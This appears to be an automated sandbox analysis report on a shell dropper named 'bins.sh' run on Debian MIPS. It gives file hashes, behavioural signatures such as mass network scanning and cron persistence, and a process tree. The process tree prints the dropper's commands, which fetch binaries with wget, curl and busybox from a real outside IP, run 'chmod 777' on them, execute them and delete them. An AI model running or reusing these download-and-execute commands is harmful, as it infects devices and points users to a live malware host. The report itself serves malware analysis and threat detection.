Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    20/11/2024, 03:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cd0626c90d5b47a6ce5eb6f42ffca214

  • SHA1

    cb84412f073e780cfdb5dcfcdba11f9c7fde9e0a

  • SHA256

    01b083f3a3bfa8feee984c83cb4f33526298df0f0e7fd2d1b339114c80ce0ca9

  • SHA512

    8057fed2d3a40d66d63406782fa34020627f4754e4bdb4a4641f869ccbf5d9e2f8568791a9c9db4b6d5c24617a9f75e48a666e78bda34ed37a4c164593b6ca0b

  • SSDEEP

    192:FZ5dN2u2iicj/auztWWz75dN2uuiicj/OR+V:FZ5dN2u+uztWM75dN2uSRU

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1929) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:737
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:740
        • /usr/bin/wget
          wget http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:743
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:760
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:766
        • /bin/chmod
          chmod 777 jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • File and Directory Permissions Modification
          PID:768
        • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          ./jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Executes dropped EXE
          PID:769
        • /bin/rm
          rm jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
            PID:771
          • /usr/bin/wget
            wget http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:772
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:773
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:774
          • /bin/chmod
            chmod 777 vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • File and Directory Permissions Modification
            PID:775
          • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            ./vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Executes dropped EXE
            PID:776
          • /bin/rm
            rm vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
              PID:778
            • /usr/bin/wget
              wget http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:779
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:783
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:793
            • /bin/chmod
              chmod 777 vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • File and Directory Permissions Modification
              PID:798
            • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              ./vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Executes dropped EXE
              PID:801
            • /bin/rm
              rm vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:826
              • /bin/chmod
                chmod 777 I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • File and Directory Permissions Modification
                PID:830
              • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                ./I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:831
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:833
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:835
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:837
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:838
                    • /bin/rm
                      rm I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                      2⤵
                        PID:842
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                        2⤵
                          PID:845
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                          2⤵
                            PID:889
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                            2⤵
                            • Writes file to tmp directory
                            PID:931
                          • /bin/chmod
                            chmod 777 MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                            2⤵
                            • File and Directory Permissions Modification
                            PID:935
                          • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                            ./MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                            2⤵
                            • Executes dropped EXE
                            PID:936
                          • /bin/rm
                            rm MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                            2⤵
                              PID:938
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                              2⤵
                                PID:939

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /var/spool/cron/crontabs/tmp.UWkQhv

                              Filesize

                              210B

                              MD5

                              e7b1567d3084996956084e62aae3e6f7

                              SHA1

                              d396a429af64b67319722e2d8d3a740f2894234f

                              SHA256

                              ca3f377d5b4a76ca11c9b16b3a8bd677423fee631edd69d52b81c5099679c2f6

                              SHA512

                              e122e581011215d888c58b42b2919fba34204060699d28752a5faab4a2ff58654abadd223010bf75437987c405b79366491c49f3657403bd7d9a605f7635875b